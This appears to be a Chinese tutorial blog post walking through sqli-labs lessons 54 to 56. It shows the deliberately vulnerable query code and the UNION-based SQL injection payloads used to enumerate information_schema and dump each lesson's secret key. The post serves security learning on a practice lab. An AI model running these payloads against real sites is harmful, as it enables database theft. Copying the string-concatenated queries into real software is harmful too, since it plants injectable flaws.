WEB常见漏洞之SQL注入(靶场篇—4)1

简介: WEB常见漏洞之SQL注入(靶场篇—4)

0x01 进阶挑战 54-65

Lesson-54

该题为单引号get型注入,利用方式包括联合查询、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

iftrue:

  输出查询信息;

else:

  输出报错;

注意:该题对查询次数进行了限制,我们需要在十次查询以内拿到 key,由于报错不输出 mysql 错误信息,因此不能使用报错注入。

使用联合查询判断注入点

id=1'--+

判断字段数

id=1' order by 3--+ //返回正确

id=1'orderby4--+ //返回异常

由此可判断字段数为4,通过 union select 查看回显位置

id=-1' union select 1,2,3--+

查询表名

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查询列名

id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='6r90s8mprd'--+

查询关键信息

id=-1' union select 1,2,group_concat(secret_OB1G) from 6r90s8mprd--+

成功拿到 key 值:lqZTCWPcYokbGQP8WQdImRzj

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

Lesson-55

该题为单括号get型注入,利用方式包括联合查询、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

iftrue:

  输出查询信息;

else:

  输出报错;

注意:该题与Lesson54的利用方式相同,只不过拼接方式由单引号变成了单括号,错误次数由10次变为14次

使用联合查询判断注入点

id=1)--+

判断字段数

id=1)orderby3--+ //返回正确

id=1)orderby4--+ //返回异常

由此可判断字段数为4,通过 union select 查看回显位置

id=-1)unionselect1,2,3--+

查询表名

id=-1)unionselect1,2,group_concat(table_name)from information_schema.tableswhere table_schema=database()--+

查询列名

id=-1)unionselect1,2,group_concat(column_name)from information_schema.columnswheretable_name='3lr3dby63p'--+

查询关键信息

id=-1)unionselect1,2,group_concat(secret_WSTL)from3lr3dby63p--+

成功拿到 key 值:omwh2fYfK0SrRVpuGRZai3X6

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

Lesson-56

该题为单括号单引号get型注入,利用方式包括联合查询、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

iftrue:

  输出查询信息;

else:

  输出报错;

注意:该题与Lesson54的利用方式相同,只不过拼接方式由单引号变成了单引号单括号,错误次数由10次变为14次

使用联合查询判断注入点

id=1')--+

判断字段数

id=1') order by 3--+ //返回正确

id=1')orderby4--+ //返回异常

由此可判断字段数为4,通过 union select 查看回显位置

id=-1') union select 1,2,3--+

查询表名

id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查询列名

id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='iw16doek28'--+

查询关键信息

id=-1') union select 1,2,group_concat(secret_CY51) from iw16doek28--+

成功拿到 key 值:uQlKpUNr7EbZHR4NfKausIEj

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

目录
相关文章
|
3月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
190 1
|
2月前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
64 2
|
3月前
|
SQL
Web for Pentester SQL sql注入靶场
Web for Pentester SQL sql注入靶场
|
4月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
221 8
|
4月前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
182 3
|
4月前
|
安全 应用服务中间件 开发工具
Web安全-SVN信息泄露漏洞分析
Web安全-SVN信息泄露漏洞分析
238 2
|
3月前
|
SQL 运维 安全
怎样可以找到SQL漏洞:技巧与方法详解
SQL漏洞,特别是SQL注入漏洞,是Web应用中常见的安全威胁之一
|
3月前
|
XML JSON API
ServiceStack:不仅仅是一个高性能Web API和微服务框架,更是一站式解决方案——深入解析其多协议支持及简便开发流程,带您体验前所未有的.NET开发效率革命
【10月更文挑战第9天】ServiceStack 是一个高性能的 Web API 和微服务框架,支持 JSON、XML、CSV 等多种数据格式。它简化了 .NET 应用的开发流程,提供了直观的 RESTful 服务构建方式。ServiceStack 支持高并发请求和复杂业务逻辑,安装简单,通过 NuGet 包管理器即可快速集成。示例代码展示了如何创建一个返回当前日期的简单服务,包括定义请求和响应 DTO、实现服务逻辑、配置路由和宿主。ServiceStack 还支持 WebSocket、SignalR 等实时通信协议,具备自动验证、自动过滤器等丰富功能,适合快速搭建高性能、可扩展的服务端应用。
175 3
|
29天前
|
前端开发 安全 JavaScript
2025年,Web3开发学习路线全指南
本文提供了一条针对Dapp应用开发的学习路线,涵盖了Web3领域的重要技术栈,如区块链基础、以太坊技术、Solidity编程、智能合约开发及安全、web3.js和ethers.js库的使用、Truffle框架等。文章首先分析了国内区块链企业的技术需求,随后详细介绍了每个技术点的学习资源和方法,旨在帮助初学者系统地掌握Dapp开发所需的知识和技能。
2025年,Web3开发学习路线全指南
|
2月前
|
设计模式 前端开发 数据库
Python Web开发:Django框架下的全栈开发实战
【10月更文挑战第27天】本文介绍了Django框架在Python Web开发中的应用,涵盖了Django与Flask等框架的比较、项目结构、模型、视图、模板和URL配置等内容,并展示了实际代码示例,帮助读者快速掌握Django全栈开发的核心技术。
200 45